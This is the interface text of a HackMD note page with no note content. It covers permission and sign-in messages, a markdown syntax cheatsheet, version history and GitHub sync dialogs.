    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully